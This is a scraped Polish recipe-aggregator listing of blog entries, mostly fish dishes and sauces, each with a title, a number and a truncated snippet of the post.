witaminę A są dobre dla naszej skóry, bo chronią ją przed rakiem, ale i opóźniają tempo jej starzenia się. Witaminę A znajdziemy w wątróbce, pełnotłustym mleku, nerkach, nabiale, tłustych rybach. Produkty bogate w Żelazo powinniśmy spożywać, bo brak(...)tego pierwiastka w naszym organizmie powoduje zmniejszenie odporności na infekcje. Żelazo znajdziemy w czerwonym mięsie, wątróbce, warzywach o ciemnych liściach czyli np. szpinaku i natce pietruszki, żółtku jaj, mleku, rybach i krewetkach oraz w owocach bogatych w witaminę C czyli cytrusy, truskawki, kiwi i czarna porzeczka i warzywach jak papryka i brukselka. Przyswajanie Żelaza utrudniają picie kawy i herbaty

Moja smaczna kuchnia
Makrela w sosie pomidorowym 81

Danie z regionalne z kuchni kaszubskiej. Zamiast makreli można użyć innej białej ryby, np. mintaja. Składniki: 2 makrele 250 ml passaty pomidorowej 4 pomidory 1 cebula 2 młode marchewki 100 ml oliwy 150 g startego sera busztyn 2 łyżki soku z cytryny 2 łyżki masła 1 łyżeczka suszonego oregano 1 łyżeczka suszonej bazylii 1 łyżeczka suszonej mięty natka pietruszki(...)kostkę, wrzuciłem do sosu. Gotowałem ok. 10 min., aż pomidory lekko się rozpadły ( można zmiksować ). Doprawiłem do smaku solą, pieprzem, zmieszałem bazylią, miętą i oregano oraz pokrojoną natkę pietruszki. Rybę wyjąłem z lodówki, odwinąłem z folii, wyłożyłem do wysmarowanego masłem żaroodpornego naczynia. Polałem sosem pomidorowym, posypałem po wierzchu startym serem. Zapiekałem przez 30 minut w temperaturze 180 stopni

R'n'G Kitchen
PIECZONA OWSIANKA Z TRUSKAWKAMI 167

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie(...)Electrolux wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być

Słodko-Słony Świat Ilony
Sos holenderski 102

Zobacz jak zrobić najlepszy sos holenderski do szparagów, jajek, ryby oraz gotowanych warzyw. To mój sprawdzony i niezawodzony przepis na ten pyszny, francuski sos. Jest prosty i szybki do zrobienia. Zapraszam! - jeden z 5 popularnych sosów francuskich - najlepszy do szparagów, ryb i warzyw  - tradycyjny i sprawdzony przepis

AniaGotuje.pl
Cullen Skink - gęsta zupa szkocka 156

wędzonego na zimno metodą z północno - wschodniej Szkocji, do której wykorzystuje się głównie świeże drewno i torf do produkcji dymu. Cullen skink może być również przygotowana z innych wędzonych ryb o białym, nieoleistym mięsie. Zupa ta jest regionalnym specjałem miasteczka Cullen w Moray, na północno - wschodnim wybrzeżu Szkocji. Prezentuje się ją zarówno jako przystawkę na oficjalnych szkockich kolacjach

Moje Małe Czarowanie
Ciasto ucierane z truskawkami i kruszonką 165

Truskawkowe ciasto ucierane z kruszonką i cukrem pudrem Maj to truskawkowy miesiąc. W tym czasie jemy truskawki na wszystkie sposoby. Oto prosty przepis na pyszne ciasto

Korniszonki
Łosoś pieczony w maśle orzechowym z ryżem limonkowym 124

masła, wody, sosu sojowego, rozdrobnionego czosnku, miodu i imbiru robimy sos. Obtaczamy nim łososia (reszta sosu przyda się w trakcie konsumpcji, wierzcie mi :)). Naczynie żaroodporne smarujemy odrobiną oleju, rybę wkładamy do naczynia (skórą do dołu), przykrywamy folią aluminiową i pieczemy 20 minut. Po tym czasie ściągamy folię i rumienimy lekko łososia. W międzyczasie gotujemy ryż do miękkości, odcedzamy. Na patelni(...)cebulę, rumienimy. Dodajemy do tego ryż, startą na najmniejszych oczkach skórkę z limonki i sok z limonki. Doprawiamy solą i mieszamy. Ryż wykładamy na talerze, kładziemy na nim kawałki ryby. Całość posypujemy pokrojonym w mniejsze kawałki szczypiorkiem, pokrojoną w plasterki chili i sezamem

Kardamonovy
TARTA ZE SZPARAGAMI I KOZIM SEREM (NA CIEŚCIE FRANCUSKIM) 139

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie(...)Electrolux wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być

Słodko-Słony Świat Ilony
PRZEPIS: SOS KORNISZONOWY - do gotowanych ryb i mięs 146

Domowy sos korniszonowy. Wypróbowany przepis, składniki i przygotowanie sosu korniszonowego krok po kroku.      Sos korniszonowy to pyszny dodatek do drugiego dania. Nadaje charakteru gotowanemu mięsu oraz rybom, uzupełniając ich naturalny, łagodny smak. Wypróbujcie kotleciki ziemniaczane albo jajeczne z sosem korniszonowym. Absolutna rewelacja!      Sos korniszonowy przygotujecie naprawdę szybko. Wystarczy kilka składników i wszyscy będą(...)korniszonowy doprawić solą i ewentualnie cukrem. Jeżeli sos wyjdzie z gęsty można dolać smaku (zalewy) z ogórków albo wody. Rozprowadzić śmietaną. Sos korniszonowy podajemy gorący do gotowanego mięsa, ryb, kotlecików ziemniaczanym oraz jajecznych. Przed wydaniem posypujemy posiekaną zieleniną. Smacznego :) Sos korniszonowy

Moja Książka Kucharska
SOS CHRZANOWY - tradycyjny przepis, który warto zapamiętać 103

pulpety w sosie chrzanowym uwielbiają chyba wszyscy. Zobacz prosty przepis na domowy sos chrzanowy. Sos chrzanowy - przepis na najlepszy dodatek do schabu, karkówki, pulpetów, klopsów, pieczonych lub gotowanych ryb oraz jajek. Sos chrzanowy - pyszny sos do ryby lub schabu.   Sos chrzanowy - jak go przygotować? Do przygotowania sosu chrzanowego będą Wam potrzebne: 1/2 łyżki masła 1/2 łyżki mąki

Moja Książka Kucharska
Torcik bez pieczenia z masą z kaszy mannej 177

Torcik bez pieczenia z masą grysikową Torcik bez pieczenia to idealny deser dla każdego, kto niezbyt mocno czuje się w pieczeniu tradycyjnych biszkoptów. Takie ciasto świetnie

Korniszonki
Jak jeść na all-inclusive? 187

południa, bo przecież wszyscy wokół cały czas jedzą. :) Obiad i kolacja Jesz wszystko, co dozwolone na diecie... czyli masz ogromny wybór na takich wakacjach. Możesz wybierać pośród mięs, ryb, serów i warzyw. Odradzam jeść zupy. Niestety często są zagęszczane i mają sporo węglowodanów. Pamiętaj, aby najpierw nakładać sałatę i warzywa. Niech stanowią 3/4 twojego talerza. Wszystko polej oliwą(...)oliwek. Na sałatę kładź dowolne mięso czy ryby. Masz ochotę na więcej mięsa? Nie zapomnij polać wszystkiego tłuszczem. Chcesz wziąć dokładkę? Nie ma sprawy, ale podstawą zawsze ma być sałata. Bez sałaty polanej oliwą/tłuszczem nie ma dokładki. Poniżej zdjęcia przykładowych dań: Jedz ile chcesz... pod warunkiem, że są to w miarę racjonalne ilości. ;) Nie podjadaj jednak między

Keto Przepisy
Sosy do pieczonych warzyw, mięs i grilla 131

Sezon grillowy już za rogiem. Zazwyczaj w majówkę wyciągamy grille i rozpoczynamy sezon przysmaków z ruszta. Kiełbaski, karkówka, szaszłyki, ryby, warzywa i owoce... Sam ketchup i musztarda może nie wystarczyć;)  Do takich dań również warto przygotować odpowiednie sosy. Poniżej podaję kilka przepisów na sosy, pasujące do pieczonych warzyw, mięs czy ryb. Można nimi również doprawiać sałatki, dzięki

Obiad gotowy
Wielkanocny pasztet z kurcząt z cząbrem, estragonem i tymiankiem 182

Pasztet z ziołami oraz z żurawiną Tradycyjnie w pasztecie powinno znaleźć pięć rodzajów mięsa, jednak według tego przepisu zrobicie pyszny, lekki i pachnący ziołami pasztet z

Korniszonki
Halibut pod kolorową pierzynką 106

oliwek około 15 ml 1. Rybę myjemy, osuszamy ręcznikiem papierowym, wyjmujemy ości jeśli są i dzielimy na porcje. 2. Do miseczki dajemy oliwę, kukurydzę odsączoną z zalewy, posiekaną natkę pietruszki, przepuszczony przez praskę czosnek i posiekaną papryczkę chilli. Dodajemy też starty na drobnej tarce ser. Wszystko mieszamy, dodajemy troszkę soli i pieprzu.  3. Ryby układamy w naczyniu żaroodpornym

kruche babeczki
Mintaj z warzywami duszony 142

mnie Hortex) -1 łyżeczka masła  -3 pomidory pelati z puszki -1 łyżka koncentratu pomidorowego Pudliszki -szczypta cukru -sól, pieprz do smaku  -olej do smażenia -mąka do obtoczenia ryby -koperek lub natka pietruszki W rondlu rozgrzać niewielką ilość oleju i zeszklić pokrojoną w kostkę cebulę, dodać włoszczyznę, podlać niewielką ilością wody tak, aby tylko warzywa nie przywarły(...)krótko z dwóch stron, wcześniej posolone, popieprzone oraz obtoczone w mące, filety mintaja. Przekładamy do rondla z duszonymi warzywami i chwilę razem dusimy ok. 5 minut. Ja podałam duszoną rybę z warzywami z kaszą kuskus, ale również mogą to być ziemniaki z wody czy frytki.  Do tego ogórek kiszony lub konserwowy. Smacznego

Kulinarne przemyslenia
Pulpeciki z łososia i ziemniaków (Polpettine di salmone e patate) 156

Czasami piszą do mnie mamy z pytaniem, jak poradzić sobie z dzieckiem niejedzącym ryb, jak zachęcić je i przekonać do zjedzenia(...)filetu z łososia lub dorsza. Z doświadczenia mamy 7-letniej dziewczynki, która niejednokrotnie kaprysiła przy stole,  wiem, że to, czy dziecko wybierze rybę, będzie zależało od smaku dania i sposobu jego podania. Wiele razy dzieci widząc filet rybny nie chcą go spróbować i kapryszą. A gdyby tak zamiast filetu

La grande e la piccola cuoca
Wykwintny tort z orzechów laskowych z kremem śmietankowym 141

Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband

Korniszonki
Makaronowy torcik z pstrągiem i pieczarkami 112

ząbek czosnku sól, pieprz, papryczka chili olej rzepakowy dekoracja: 7 pomidorków koktajlowych 6 oliwek czarnych 1 cebula czerwona 1 łyżka groszku mrożonego natka pietruszki pieprz czerwony ziarna Filet ryby odcinam od skóry i kroję na kawałki. Posypuję solą i pieprzem. Makaron gotuję aldente w osolonej wodzie, odcedzam. Groszek przekładam na patelnię, wlewam 1/4 szklanki wody i lekko go duszę(...)wbijam jajka, dodaję śmietanę, jogurt, ser,czosnek rozduszony, sól, pieprz, chili i mieszam. Formę o średnicy 25 cm smaruję olejem. Wykładam połowę makaronu, wylewam połowę masy jajecznej, układam kawałki ryby i mieszam widelcem. Dodaję połowę groszku, pieczarki całe, wykładam resztę makaronu wylewam masę jajeczną, dodaję resztę groszku./ łyżkę groszku zostawiam do dekoracji/. Delikatnie mieszam widelcem z wierzchu. Na górze

wesoła kuchnia
Lasagne z łososiem, szpinakiem i serem 84

dodać szpinak. Dodać przeciśnięty przez praskę czosnek, gałkę, sól i pieprz. Szpinak dusimy przez 15 minut. Teraz przygotujemy farsz łososiowy: Można użyć dzwonków lub kostki z łososia, fileta. Rybę skrapiamy sokiem z cytryny, solimy i pieprzymy. Rybę zawijamy w lekko natłuszczoną folię i pieczemy w temperaturze 200 stopni przez około 30-40 minut. Po upieczeniu rybę rozdrabniamy. Na sam koniec

Smaczne Potrawy
Ryba zapiekana pod pieczarkowo-serową kołderką 132

Pieczona ryba z dodatkiem podsmażonych z cebulką pieczarek oraz tartym serem, to fajny, prosty i szybki pomysł na obiad. Na 2-3 porcje: 1 filet z miruny 4-5 pieczarek 1 cebula sok z cytryny tarty żółty ser (u mnie gouda i red cheddar) mielona słodka papryka curry granulowany czosnek sól, pieprz masło klarowane Opłukany i osuszony ręcznikiem papierowym filet

Smaki Na Talerzu
Ryba w zalewie ketchupowej 154

Smaczna ryba przygotowana na święta. Przepis od długiego czasu miałem zapisany na kartce, więc w końcu musiałem go wykorzystać. Składniki : - 5 - 6 filetów z morszczuka, - sól, - mąka, - olej do smażenia, - 3 - 4 ogórki konserwowe, Zalewa : - 1/2 szklanki zalewy z ogórków konserwowych, - 1/4 szklanki oleju, - 1/2 szklanki wody, - 3 łyżki koncentratu pomidorowego, - 3/4 szklanki pikantnego ketchupu, - kilka kropli tabasco, - kilka ziaren(...)ziela angielskiego, - kilka ziaren pieprzu, - sól, - cebula pokrojona w kostkę. Wykonanie : Rybę pokroić na 2 - 3 części, posolić, obtoczyć w mące i usmażyć na złoty kolor. Przełożyć do naczynia i przełożyć warstwy pokrojonymi w kostkę ogórkami konserwowymi. Składniki zalewy zagotować i najlepiej posmakować czy jest dość pikantna i słona. Gorącym sosem zalać usmażoną rybę, wystudzić i wstawić do lodówki

Przepisy Mikołaja
Sos koperkowo ogórkowy 119

mieszając. Doprawić do smaku sokiem z cytryny (1 – 1,5 łyżki), cukrem i ewentualnie solą. Następnie dodać śmietanę, wymieszać. Podawać na przykład do ryb. Podałam z babką z ryb

królestwo garów
SOS KOPERKOWY : pyszny, prosty przepis 109

koperkowy przepis. Łatwy i sprawdzony przepis na domowy sos koperkowy.            Pyszny i prosty przepis na sos koperkowy na ciepło do mięs i ryby na śmietanie. Idealny i szybki sos koperkowy do pulpetów, łososia, polędwiczek wieprzowych lub do potrawki z kurczaka albo indyka. Sos koperkowy z tego przepisu jest delikatny i kremowy. Zamiast mleka(...)etapie do sosu koperkowego można już włożyć podgotowane wcześniej w rosole lub osolonej wodzie pulpeciki, podduszoną i pokrojoną w plastry polędwiczkę wieprzową, mięso z kurczaka lub indyka albo kawałki ryby. Możliwości jest wiele.  Smacznego :) Sos koperkowy

Moja Książka Kucharska
KOTLECIKI RYBNE Z KASZĄ JAGLANĄ 116

Uwielbiam ryby i staram się je jeść dosyć często.Jak jesteśmy nad morzem to chodzimy na rybkę praktycznie codziennie,mamy swoje sprawdzone miejsca.     Niestety trochę się rozmarzyłam a do lata trochę jeszcze zostało. Dlatego dziś zaserwowałam pyszne kotleciki rybne z kaszą jaglaną - takie dwa w jednym. Składniki:  450 g filetów rybnych ( dorsz , mintaj) 100 g kaszy(...)wodzie ok 12 min. Wystudzić ( można to zrobić dzień wcześniej). Filety pokroić, zmielić razem z zimną kaszą jaglaną. Cebulkę pokroić w kostkę i podsmażyć na oleju. Kaszę wymieszać z rybą posiekaną natką pietruszki bądź koperkiem, cebulą,jajkiem bułką tartą,sokiem wyciśniętym z cytryny oraz solą i pieprzem.  Wilgotnymi dłońmi uformować z masy jednakowej wielkości kotleciki. Obtoczyć w bułce tartej

Niespełnione zdolności kulinarne
Sałatka tuńczyk z ryżem 138

propozycja na niedrogą i smaczną przystawkę – zobaczcie jak powstaje sałatka tuńczyk z ryżem. Przepisów na sałatki nie powinno nam zabraknąć. Szczególnie doceniane są przepisy, które przygotowujemy z popularnej ryby w naszych sklepach, czyli tuńczyka. Połączenie ryżu z tuńczykiem przeżywało swój rozkwit w pierwszej dekadzie tego wieku. Teraz pojawiają się przepisy mocno udoskonalone. Zaletą tego przepisu jest łatwość przygotowania(...)innych przepisów z udziałem tuńczyka w roli głównej. Sprawdźcie sałatkę z tuńczykiem i awokado, albo kanapkę z tuńczykiem w jabłku . Zajrzycie także do n aszych ciekawych przepisów przygotowywanych z ryb . Na pewno przypadną wam do gustu. Bierzemy się do pracy. Zobacz mój film z przygotowania sałatki Składniki – Sałatka tuńczyk z ryżem paczka ugotowanego ryżu basmati 200 g tuńczyka

Kuchennyviral.pl
Fasolka szparagowa z suszonymi pomidorami – dodatek do obiadu 149

zrobić stęskniony za latem ludź, któremu marzy się talerz zielonego dobra? Odpowiedź jest prosta: śmiało sięgnąć po mrożonkę! Tą mrożoną fasolkę z suszonymi pomidorami podałam do ryby i powiem Wam tyle – musicie ją wypróbować koniecznie, to przepyszne zestawienie! Nie wiem jak Wy – ja osobiście fasolkę uwielbiam , w każdym wydaniu i postaci. Jest bardzo wartościowa, przepyszna, szybka i bezproblemowa(...)wszystko dokładnie mieszamy. Próbujemy – solimy i pieprzymy do smaku. Podajemy fasolkę od razu, posypaną drobno startym parmezanem. Ta fasolka z suszonymi pomidorami świetnie sprawdzi się jako dodatek do ryb i kurczaka, ale możecie też nie dzielić się nią z nikim i zjeść wszystko sami Dodajcie wtedy przysłowiową „kropkę nad i” czyli jajko w koszulce, np. z TEGO PRZEPISU

Karo in the Kitchen
barszcz czerwony po mojemu 124

się do przyprawiania sałat, marynowania mięs i ryb, jako baza sosu vinegrette. Produkt o średnim wieku dojrzewania jest idealny (poza przyprawianiem warzyw) do podniesienia walorów smakowych risotto, mięs, ryb, zup-kremów oraz sałatek owocowych. Ocet balsamiczny gęsty, czyli taki, który ma więcej niż 10 lat jest przysmakiem, który doskonale towarzyszy serom miękkim i twardym, kawiorom, krewetkom, a także

mojej kuchni
Nowe orientalne przyprawy Knorr 159

ognisty wygląd i smak. oprócz papryki znajdziemy w niej też galangal (tajski imbir), kolendrę, pieprz cayenne i trawę cytrynową. Przyprawa doskonale pasuje do owoców morza, wołowiny, kurczaka, ryżu i ryb. Jest też doskonała do zup, dipów i sosów. Garam Masala to autentyczny smak Indii. Aromatyczna przyprawa w której króluje imbir, cynamon, pieprz i kardamon. Na pewno nada ona ciekawego(...)też ta przyprawa, która na pewno nieźle Was rozgrzeje. Znajdziemy tutaj paprykę, cukier trzcinowy, imbir, czosnek i pieprz cayenne. Ta mieszanka nada daniom wyrazistego smaku. Idealna do wieprzowiny, wołowiny, ryb, owoców morza oraz wszelkich marynat.  Wszystkie przyprawy są 100 % naturalne i odpowiednie dla wegan

kruche babeczki
Chowder z łososiem wędzonym 117

Chowder jest niezwykle kremową zupą na bazie ryb lub owoców morza z dodatkiem dużej ilości mleka czy zasmażki. W mojej wersji jest z łososiem wędzonym, przez co otrzymujemy bardzo subtelny i bogaty smak. Chowder z łososiem wędzonym to pyszna kremowa zupa do przygotowania w około 30 minut! Delikatne mięso ryby połączone kremowym bulionem na bazie białego wina. Szybki

Słodkie Gotowanie
Proste obiady na 7 dni # 8 - Odbierz PDF z przepisami i listą zakupów! 129

niekoniecznie w każdym miesiącu.  Proste obiady na 7 dni  to cykl, w którym publikuję gotowe menu obiadowe na cały tydzień. Zobacz jadłospis:  z marca - 2 x ryba i 5 x wege   z kwietnia - 2 x kurczak, 2 x ryba, 3 x wege z maja -  przepisy do lunchboxa z czerwca -  6 x wege(...)ryba z lipca -  jedzenie do pracy na zimno z września -  4 x wege, 2 x ryba, 1 x mięso z listopada - 7 x wege Przepisy w wersji do druku oraz listę zakupów możecie pobrać po zapisaniu się na mój newsletter pon iżej.  Poniedziałek - Sałatka z pieczonym batatem Sałatka niebanalna, a to za sprawą dodatku upieczonego batata

Chilli Czosnek i Oliwa
Pstrąg łososiowy z buraczkami 123

Pstrąg łososiowy to ryba polecana osobą na diecie. Zawiera niewiele kalorii i ma delikatny smak. 100g pstrąga łososiowego zawiera ok. 90-100 kcal. Oczywiście wszystko zależy od sposobu w jaki go podamy. Pstrąg łososiowy z buraczkami to będzie moje danie na dziś… Tym razem nie patrzyłem na kalorie i podałem go w dość tradycyjny sposób… Składniki filet pstrąga(...)myjemy, osuszamy, a następnie dzielimy na mniejsze kawałki. Z obu stron doprawiamy solą, pieprzem i skrapiamy sokiem z cytryny. Panierujemy filety z pstrąga w mące (nadmiar mąki strząsamy z ryby) i smażymy z każdej strony na rozgrzanym oleju ok. 3-4 minut z każdej strony. Przepis na buraczki Buraki ścieramy na tarce, na dużych oczkach. Smażymy starte buraki

Kulinarnyblog.pl - wiesz jak gotować!
Grillowany łosoś norweski 133

prawdę bardzo smaczny i przy tym zdrowy. Po całym tym świątecznym szaleństwie czas na coś lżejszego :) Proponuję Wam przepis na łososia norweskiego grillowanego na patelni bez tłuszczu. Potrzebujemy: Ryba: filet łososia norweskiego, musztarda francuska, sok z limonki, sól, pieprz cytrynowy, czosnek, kolendra Sos: jogurt naturalny, sól, pieprz, szczypiorek Łososia kroję na mniejsze kawałki. Każdy z nich polewam sokiem z cytryny(...)której jest skóra - ok. 8 minut. Następnie odwracam go i daję mu jeszcze ok. 6 minut aby grillował się również po drugiej stronie. Pamiętajmy, że jest to delikatna ryba i potrzebuje na prawdę niewiele czasu na przygotowanie.  Do jogurtu dodaję sól, pieprz oraz posiekany szczypiorek. Najlepiej przygotować go ok. 1 godzinę wcześniej i pozostawić w lodówce. Wtedy smaki idealnie

Przepis na Dzień Dobry
RYBA PO GRECKU Z SUSZONYMI POMIDORAMI I ŻURAWINĄ 156

Ryba po grecku jest jedną z głównych potraw wigilijnych w różnych regionach Polski.Podejrzewam,że ile gospodyń domowych tyle przepisów. Do mojego dodałam suszone pomidory i żurawinę. Niby ten sam smak ale z odrobiną słodyczy i finezji. Nie ma co tu dużo pisać, trzeba spróbować. Ryba oczywiście według uznania, ja zdecydowałam się na filety z miruny. Do dzieła, bo święta już(...)Dodać koncentrat pomidorowy, dokładnie wymieszać, przyprawić papryką, solą i pieprzem do smaku. Pomidory pokroić na mniejsze kawałki razem z żurawiną dodać do całości. Pozostawić na ogniu jeszcze 5 minut. Rybę przełożyć na półmisek,skropić cytryną, przykryć duszonymi warzywami. Smacznego

pieprzny smaczek
Karp w galarecie 98

pietruszkę, seler, por, liść laurowy, ziele angielskie, i cebulę obrałem, włożyłem do garnka. Zalałem wodą i gotowałem do miękkości warzyw. Gdy warzywa były już miękkie włożyłem do wywaru kawałki ryby i gotowałem je (maksymalnie 10 minut). Wyjąłem je robiąc to ostrożnie, aby kawałki utrzymały się w całości. Przełożyłem na talerz, ostudziłem. Wyjąłem ości. Ugotowane warzywa wyjąłem. Część z nich(...)odpowiednich proporcjach (czytaj na opakowaniu) zależnie od tego ile mamy wywaru. Na dno salaterki ułożyłem trochę warzyw i przelałem je galaretką, aby szybciej stężały, a dopiero na to ułożyłem rybę i zalałem resztą galaretki

R'n'G Kitchen
Wigilia bez mleka. Świąteczne przepisy dla dorosłych i dla dzieci 209

można podać dzieciom, które skończyły 1. rok życia. To także świetna opcja dla osób z wrażliwym żołądkiem. Taką kapustę można wykorzystać też jako farsz do pierogów, krokietów czy bułek. Ryba po grecku Ryba po grecku to jedno z moich ulubionych dań świątecznych. Delikatna smażona ryba i dobrze doprawione warzywa to świetne połączenie. Rybę po grecku najlepiej przygotować co najmniej dzień

Dieta bez mleka
Sandacz pieczony 219

Dziś przedświątecznie bardzo delikatny i aromatyczny sandacz (filet ze skórą) pieczony z dodatkiem świeżych pomidorów z czosnkiem, pachnący masłem i świeżym koperkiem. Aromaty, które w kuchni ubóstwiam! Rybę podałam z puree z selera i ziemniaków oraz gotowanymi brokułami. Podajcie ją z puree ziemniaczanym , z surówką z kiszonej kapusty i marchewki lub z surówką z marchewki . Polecam przygotować taką rybę(...)łyżeczka soku z cytryny łyżeczka masła sól, świeżo zmielony pieprz PRZYGOTOWANIE: Piekarnik nagrzewa do temp. 180 C (bez termoobiegu). Pomidora kroję na średniej wielkości kostkę. Czosnek obieram i rozgniatam. Rybę myję, przekrawam na pół, przyprawiam, smaruję (nacieram) po równo oba kawałki (skórę) masłem i rozgniecionymi ząbkami czosnku. Wstawiam do piekarnika skórą do góry, skrapiam lekko sokiem z cytryny, układam kosteczki

Zasmakuj Kuchni
Omułki , mule po belgijsku 166

Zachęcam , spróbujcie chociaż raz bo naprawdę warto W naszym kraju wiele osób podchodzi do nich sceptycznie z dużym uprzedzeniem i ostrożnością , co jest zupełnie nie uzasadnione . Wcale nie jadą rybami , ani mułem , są pyszne , soczyste i delikatne. Mówi to wam ktoś, kto nigdy nie był zwolennikiem owoców morza , a te uwielbia Ostatnio dostępne coraz częściej w marketach . Takie schłodzone

Ogrodnik w podróży
Surówka z fenkułu – surówka z kopru włoskiego 122

wykorzystać na surówki lub do zup, a cienkie, delikatne i pierzaste listki kopru włoskiego – podobnie jak koper ogrodowy – do dekoracji i wykańczania potraw, szczególnie tych na bazie jaj i ryb. Koper włoski ma bardzo charakterystyczny smak – słodkawy, anyżkowo-lukrecjowy i świeży. Bulwa traci te aromaty po podgrzaniu – przy zapiekaniu, gotowaniu i grillowaniu fenkuł gubi lotne olejki odpowiadające(...)stanie zjeść sama całą tą dużą porcję, na kolację albo i na deser. Jeśli chcecie się tymi delicjami podzielić, wykorzystajcie surówkę z kopru włoskiego do białych mięs lub do ryby. SKŁADNIKI 4 średniej wielkości porcje do obiadu 1 duży fenkuł (ok. 500g) 150g jabłka – twardego, soczystego 30g orzechów włoskich 2 łyżki oliwy extra virgin 2 łyżki octu jabłkowego

Karo in the Kitchen
barszcz czerwony po mojemu 404

się do przyprawiania sałat, marynowania mięs i ryb, jako baza sosu vinegrette. Produkt o średnim wieku dojrzewania jest idealny (poza przyprawianiem warzyw) do podniesienia walorów smakowych risotto, mięs, ryb, zup-kremów oraz sałatek owocowych. Ocet balsamiczny gęsty, czyli taki, który ma więcej niż 10 lat jest przysmakiem, który doskonale towarzysz y serom miękkim i twardym, kawiorom, krewetkom

w mojej kuchni
Śledzie marynowane w occie 170

mleku (są wtedy wyjątkowo kruche i smaczne) lub ewentualnie w zimnej wodzie przez 5-6 godzin (a najlepiej przez całą noc), aby pozbyć się nadmiaru soli (najlepiej posmakować kawałek ryby i ocenić, czy taki poziom soli nam odpowiada – jeśli nadal są za słone, to przepłukać je kilka razy w zimnej wodzie). Niektórzy moczą matjasy maksymalnie 2 godziny, aczkolwiek(...)śledzi marynowanych wolę pozbyć się większości soli z ryb (dlatego moczę je zdecydowanie dłużej), by potem dosolić do swojego smaku zalewę. Przygotować zalewę. Do garnka wlać 1,5 szklanki wody, pół szklanki octu, 2 łyżeczki cukru, 2 ziarna ziela angielskiego, 3 ziarna pieprzu, 1 liść laurowy i pół łyżeczki soli. Doprowadzić zalewę do wrzenia, a następnie gotować przez

Kulinarne Przeboje
Śledzie marynowane w occie 1720

mleku (są wtedy wyjątkowo kruche i smaczne) lub ewentualnie w zimnej wodzie przez 5-6 godzin (a najlepiej przez całą noc), aby pozbyć się nadmiaru soli (najlepiej posmakować kawałek ryby i ocenić, czy taki poziom soli nam odpowiada – jeśli nadal są za słone, to przepłukać je kilka razy w zimnej wodzie). Niektórzy moczą matjasy maksymalnie 2 godziny, aczkolwiek(...)śledzi marynowanych wolę pozbyć się większości soli z ryb (dlatego moczę je zdecydowanie dłużej), by potem dosolić do swojego smaku zalewę. Przygotować zalewę. Do garnka wlać 1,5 szklanki wody, pół szklanki octu, 2 łyżeczki cukru, 2 ziarna ziela angielskiego, 3 ziarna pieprzu, 1 liść laurowy i pół łyżeczki soli. Doprowadzić zalewę do wrzenia, a następnie gotować przez

Kulinarne Przeboje
Niedzielny obiad w stylu świątecznym z niemieckim winem 133

wiaderku (na sernik) łyżeczka żelatyny rozpuszczona w gorącej wodzie 50 ml śmietany tłustej 36% 2 łyżki chrzanu pół łyżeczki miodu szczypta soli Przepis na mus chrzanowy do polania ryby Mieszamy ser z chrzanem, śmietaną i ostudzoną rozpuszczoną w gorącej wodzie żelatyną. Doprawiamy solą i miodem i wkładamy na stężenie do lodówki Pęczak z suszonymi owocami cebula drobno pokrojona kostka(...)przykryte do piekarnika i pieczemy godzinę w 150 stopniach zaglądając kilka razy, żeby dolać więcej wody. Przed podaniem mieszamy kasze z sokiem z cytryny. Całość: Na kaszy układamy kawałek ryby, trochę cebuli i polewamy musem chrzanowym. Dekurujemy listkiem pietruszki lub inną zieleniną. Jakie wino będzie pasować do karpia? Na naszej kolacji podano je z wytrawnym Scheurebe

Ugotowane pozamiatane
Zapiekane kanapki z paluszkami rybnymi i mozzarellą / Fish sticks and mozzarella toasts 263

ciągnącą warstwą mozzarelli z pewnością sprawdzą się na kolację jak i na pożywne śniadanie. Dlaczego akurat paluszki rybne FRoSTY? Ano dlatego, że mają doskonały skład: 65% filetów z białych ryb, z certyfikowanych łowisk MSC, zamrażanych jeszcze na pokładzie kutra rybackiego, 15% panierki składającej się z mąki pszennej, soli, papryki, kurkumy i drożdży, oleju słonecznikowego, i skrobi ziemniaczanej

karmelowy
Rúgbrauð - islandzki chleb wulkaniczny 165

upiec w domu pomimo braku gejzerów i lawy pod podłogą ;) Gliniaste, ciężkie kromki o mocno słodkawym posmaku najlepsze są z samym masłem ale równie wyśmienite będą z kawałkami wędzonej ryby, czy innymi dodatkami. W Islandii najczęściej serwuje się go z jagnięciną pod wieloma postaciami, śledziem lub innymi rybami, a kiedy chleb nie jest już pierwszej świeżości miksuje się

Kuchnia w Słońcu Skąpana
Surówka z fenkułu – surówka z kopru włoskiego 229

